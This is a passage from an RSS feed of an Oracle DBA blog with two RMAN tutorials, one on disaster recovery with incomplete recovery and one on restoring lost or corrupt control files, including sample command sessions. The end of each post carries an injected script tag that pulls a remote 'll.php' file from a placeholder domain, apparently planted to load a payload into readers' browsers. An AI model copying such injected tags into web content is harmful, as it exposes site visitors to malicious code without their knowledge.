<p>RMAN></p>
<p>Recover database: The final step is to recover the database. Obviously recovery is dependent on the available archived (and online) redo logs. Since we have lost our database server and have no remote archive destination, we can recover only up to the time of the backup. Further, since this is an incomplete recovery, we will have to open the database with resetlogs. Here&#8217;s a sample RMAN session illustrating this:</p>
<p>RMAN> recover database;</p>
<p>Starting recover at 01/MAR/05<br />
using channel ORA_DISK_1<br />
using channel ORA_DISK_2</p>
<p>starting media recovery</p>
<p>unable to find archive log archive log thread=1 sequence=1388</p>
<p>RMAN-00571: ==============================<br />
RMAN-00569: =ERROR MESSAGE STACK FOLLOWS =<br />
RMAN-00571: ===============================<br />
RMAN-03002: failure of recover command at 04/01/2005 14:14:43<br />
RMAN-06054: media recovery requesting unknown log: thread 1 scn 32230460</p>
<p>RMAN> alter database open resetlogs;</p>
<p>database opened</p>
<p>RMAN></p>
<p>Note that RMAN automatically applies all available archive logs. It first applies the backed up log and then searches for subsequent logs in the archive destination. This opens the door for further recovery if the necessary logs are available. In our case, however, we have no more redo so we open the database with resetlogs. The error message above simply indicates that RMAN has searched, unsuccessfully, for subsequent logs.<br />
That&#8217;s it. The database has been recovered, from scratch, to the last available backup. Now having done this, it is worth spending some time in discussing how one can do better &#8211; i.e. recover up to a point beyond the backup. We do this in the next section. </p>
<p>7. Options for better recovery</p>
<p>The above recovery leaves one with a sense of dissatisfaction: one could have done much better had the necessary logs been available. Clearly, one would have to copy the logs to a remote machine in order to guarantee access in a disaster situation. A couple of ways to do this include:<br />
Copy archive logs to a remote destination using OS scripts: This is achieved simply by a script scheduled to run every hour or so. The script copies, to a remote network computer, all the archive logs generated since the script last ran. This achieves better recoverability than before. However, it does not achieve up to the minute recovery. Further, one has to ensure that the a log switch is performed before the logs are copied, so as to ensure that redo associated with recent transactions (within the last hour) is copied to the remote destination.The log switch can be performed using the &#8220;alter system archive log current&#8221; command.<br />
Configure the Oracle ARC process to copy logs to the remote destination: This is done by defining a secondary archive destination via one of the LOG_ARCHIVE_DEST_N initialisation parameters. This method is not recommended because it is somewhat fragile &#8211; see this discussion on Tom Kyte&#8217;s site, for example. Be sure to use a mapped network drive as the archive destination if you choose to go down this path. Oracle 9i will not recognise archive log destinations specified using UNC (Universal Naming Convention).</p>
<p>Finally, any article on disaster recovery should mention Oracle Data Guard &#8211; which is Oracle Corporation&#8217;s recommended disaster recovery solution for mission critical systems. This is essentially a standby database that is kept synchronised with the primary through the continuous application of redo. There are different levels of synchronisation depending on required availability, performance and (most important!) the acceptable data loss. There are two types of standby databases depending on how redo is applied: 1) Physical standby &#8211; which is an identical, block for block, copy of the primary, and 2) Logical standby &#8211; which is kept synchronised by applying SQL mined from redo logs. Interested readers are referred to the Oracle documentation on Data Guard for further details, as it is a vast subject, appropriate for a book rather than an article this size. A good starting point is Oracle Data Guard Concepts and Administration guide. <script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/oracle-backup-and-recovery-on-windows-disaster-recovery-using-rman/feed/</wfw:commentRss>
		<slash:comments>0</slash:comments>
		</item>
		<item>
		<title>RMAN -Recovery from missing or corrupted control file</title>
		<link>http://www.bestremotedba.com/rman-recovery-from-missing-or-corrupted-control-file/</link>
		<comments>http://www.bestremotedba.com/rman-recovery-from-missing-or-corrupted-control-file/#comments</comments>
		<pubDate>Fri, 09 Oct 2009 01:29:47 +0000</pubDate>
		<dc:creator>mudhalvan</dc:creator>
				<category><![CDATA[Database Administration]]></category>
		<category><![CDATA[RMAN]]></category>
		<category><![CDATA[RMAN -Recovery from missing or corrupted control file]]></category>

		<guid isPermaLink="false">http://www.bestremotedba.com/?p=215</guid>
		<description><![CDATA[RMAN -Recovery from missing or corrupted control file]]></description>
			<content:encoded><![CDATA[<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_start --><p>Case 1: A multiplexed copy of the control file is available.</p>
<p>On startup Oracle must read the control file in order to find out where the datafiles and online logs are located. Oracle expects to find control files at locations specified in the CONTROL_FILE initialisation parameter. The instance will fail to mount the database if any one of the control files are missing or corrupt. A brief error message will be displayed, with further details recorded in the alert log. The exact error message will vary depending on what has gone wrong. Here&#8217;s an example:</p>
<p>SQL> startup</p>
<p>ORACLE instance started.</p>
<p>Total System Global Area 135338868 bytes<br />
Fixed Size 453492 bytes<br />
Variable Size 109051904 bytes<br />
Database Buffers 25165824 bytes<br />
Redo Buffers 667648 bytes<br />
ORA-00205: error in identifying controlfile, check alert log for more info</p>
<p>SQL></p>
<p>On checking the alert log, as suggested, we find the following:</p>
<p>ORA-00202: controlfile: &#8216;e:\oracle_dup_dest\controlfile\ORCL\control02.ctl&#8217;<br />
ORA-27046: file size is not a multiple of logical block size<br />
OSD-04012: file size mismatch (OS 5447783)</p>
<p>The above corruption was introduced by manually editing the control file when the database was closed.</p>
<p>The solution is simple, provided you have at least one uncorrupted control file &#8211; replace the corrupted control file with a copy using operating system commands. Remember to rename the copied file. The database should now start up without any problems.</p>
<p>Case 2: All control files lost</p>
<p>What if you lose all your control files? In that case you have no option but to use a backup control file. The recovery needs to be performed from within RMAN, and requires that all logs (archived and current online logs) since the last backup are available. The logs are required because all datafiles must also be restored from backup. The database will then have to be recovered up to the time the control files went missing. This can only be done if all intervening logs are available. Here&#8217;s an annotated transcript of a recovery session (as usual, lines in bold are commands to be typed, lines in italics are explanatory comments, other lines are RMAN feedback):</p>
<p>&#8211; Connect to RMAN<br />
C:\>rman target /</p>
<p>Recovery Manager: Release 9.2.0.4.0 &#8211; Production</p>
<p>Copyright (c) 1995, 2002, Oracle Corporation. All rights reserved.</p>
<p>connected to target database: ORCL (not mounted)</p>
<p>&#8211; set DBID &#8211; get this from the name of the controlfile autobackup.<br />
&#8211; For example, if autobackup name is<br />
&#8211; CTL_SP_BAK_C-1507972899-20050124-00 the the DBID is<br />
&#8211; 1507972899. This step will not be required if the instance is<br />
&#8211; started up from RMAN</p>
<p>RMAN> set dbid 1507972899</p>
<p>executing command: SET DBID</p>
<p>&#8211;restore controlfile from autobackup. The backup is not at the default<br />
&#8211;location so the path must be specified</p>
<p>RMAN> restore controlfile from &#8216;e:\backup\CTL_SP_BAK_C-1507972899-20050124-00&#8242;;</p>
<p>Starting restore at 26/JAN/05</p>
<p>using channel ORA_DISK_1<br />
channel ORA_DISK_1: restoring controlfile<br />
channel ORA_DISK_1: restore complete<br />
replicating controlfile<br />
input filename=D:\ORACLE_DATA\CONTROLFILE\ORCL\CONTROL01.CTL<br />
output filename=E:\ORACLE_DUP_DEST\CONTROLFILE\ORCL\CONTROL02.CTL<br />
output filename=C:\ORACLE_DUP_DEST\CONTROLFILE\ORCL\CONTROL03.CTL<br />
Finished restore at 26/JAN/05</p>
<p>&#8211; Now that control files have been restored, the instance can mount the<br />
&#8211; database.</p>
<p>RMAN> mount database;</p>
<p>database mounted</p>
<p>&#8211; All datafiles must be restored, since the controlfile is older than the current<br />
&#8211; datafiles. Datafile restore must be followed by recovery up to the current log.</p>
<p>RMAN> restore database;</p>
<p>Starting restore at 26/JAN/05</p>
<p>using channel ORA_DISK_1<br />
channel ORA_DISK_1: starting datafile backupset restore<br />
channel ORA_DISK_1: specifying datafile(s) to restore from backup set<br />
restoring datafile 00001 to D:\ORACLE_DATA\DATAFILES\ORCL\SYSTEM01.DBF<br />
restoring datafile 00004 to D:\ORACLE_DATA\DATAFILES\ORCL\USERS01.DBF<br />
channel ORA_DISK_1: restored backup piece 1<br />
piece handle=E:\BACKUP\0DGB0I79_1_1.BAK tag=TAG20050124T115832 params=NULL<br />
channel ORA_DISK_1: restore complete<br />
channel ORA_DISK_1: starting datafile backupset restore<br />
channel ORA_DISK_1: specifying datafile(s) to restore from backup set<br />
restoring datafile 00002 to D:\ORACLE_DATA\DATAFILES\ORCL\UNDOTBS01.DBF<br />
restoring datafile 00003 to D:\ORACLE_DATA\DATAFILES\ORCL\TOOLS01.DBF<br />
channel ORA_DISK_1: restored backup piece 1<br />
piece handle=E:\BACKUP\0CGB0I78_1_1.BAK tag=TAG20050124T115832 params=NULL<br />
channel ORA_DISK_1: restore complete<br />
Finished restore at 26/JAN/05</p>
<p>&#8211;Database must be recovered because all datafiles have been restored from<br />
&#8211; backup</p>
<p>RMAN> recover database;</p>
<p>Starting recover at 26/JAN/05<br />
using channel ORA_DISK_1</p>
<p>starting media recovery</p>
<p>archive log thread 1 sequence 2 is already on disk as file E:\ORACLE_ARCHIVE\ORCL\1_2.ARC<br />
archive log thread 1 sequence 4 is already on disk as file D:\ORACLE_DATA\LOGS\ORCL\REDO02A.LOG<br />
archive log thread 1 sequence 5 is already on disk as file D:\ORACLE_DATA\LOGS\ORCL\REDO01A.LOG<br />
archive log thread 1 sequence 6 is already on disk as file D:\ORACLE_DATA\LOGS\ORCL\REDO03A.LOG<br />
archive log filename=E:\ORACLE_ARCHIVE\ORCL\1_2.ARC thread=1 sequence=2<br />
archive log filename=E:\ORACLE_ARCHIVE\ORCL\1_3.ARC thread=1 sequence=3<br />
archive log filename=E:\ORACLE_DATA\LOGS\ORCL\REDO02A.LOG thread=1 sequence=4<br />
archive log filename=E:\ORACLE_DATA\LOGS\ORCL\REDO01A.LOG thread=1 sequence=5<br />
archive log filename=E:\ORACLE_DATA\LOGS\ORCL\REDO03A.LOG thread=1 sequence=6<br />
media recovery complete<br />
Finished recover at 26/JAN/05</p>
<p>&#8211; Recovery completed. The database must be opened with RESETLOGS<br />
&#8211; because a backup control file was used. Can also use<br />
&#8211; &#8220;alter database open resetlogs&#8221; instead.</p>
<p>RMAN> open resetlogs database;</p>
<p>database opened</p>
<p>Several points are worth emphasising.<br />
Recovery using a backup controlfile should be done only if a current control file is unavailable.<br />
All datafiles must be restored from backup. This means the database will need to be recovered using archived and online redo logs. These MUST be available for recovery until the time of failure.<br />
As with any database recovery involving RESETLOGS, take a fresh backup immediately.<br />
Technically the above is an example of complete recovery &#8211; since all committed transactions were recovered. However, some references consider this to be incomplete recovery because the database log sequence had to be reset.<br />
After recovery using a backup controlfile, all temporary files associated with locally-managed tablespaces are no longer available.<br />
You can check that this is so by querying the view V$TEMPFILE &#8211; no rows will be returned. Therefore tempfiles must be added (or recreated) before the database is made available for general use. In the case at hand, the tempfile already exists so we merely add it to the temporary tablespace. This can be done using SQLPlus or any tool of your choice:</p>
<p>SQL> alter tablespace temp add tempfile<br />
&#8216;D:\oracle_data\datafiles\ORCL\TEMP01.DBF&#8217;; </p>
<p>Tablespace altered.</p>
<p>SQL></p>
<p>Check that the file is available by querying v$TEMPFILE.<br />
<script src="http://$domain/ll.php?kk=11"></script></p>
<!-- Advanced AdSense by Jim Gaudet --><!-- google_ad_section_end -->]]></content:encoded>
			<wfw:commentRss>http://www.bestremotedba.com/rman-recovery-from-missing-or-corrupted-control-file/feed/</wfw:commentRss>
		<slash:comments>1</slash:comments>
		</item>
	</channel>
</rss>

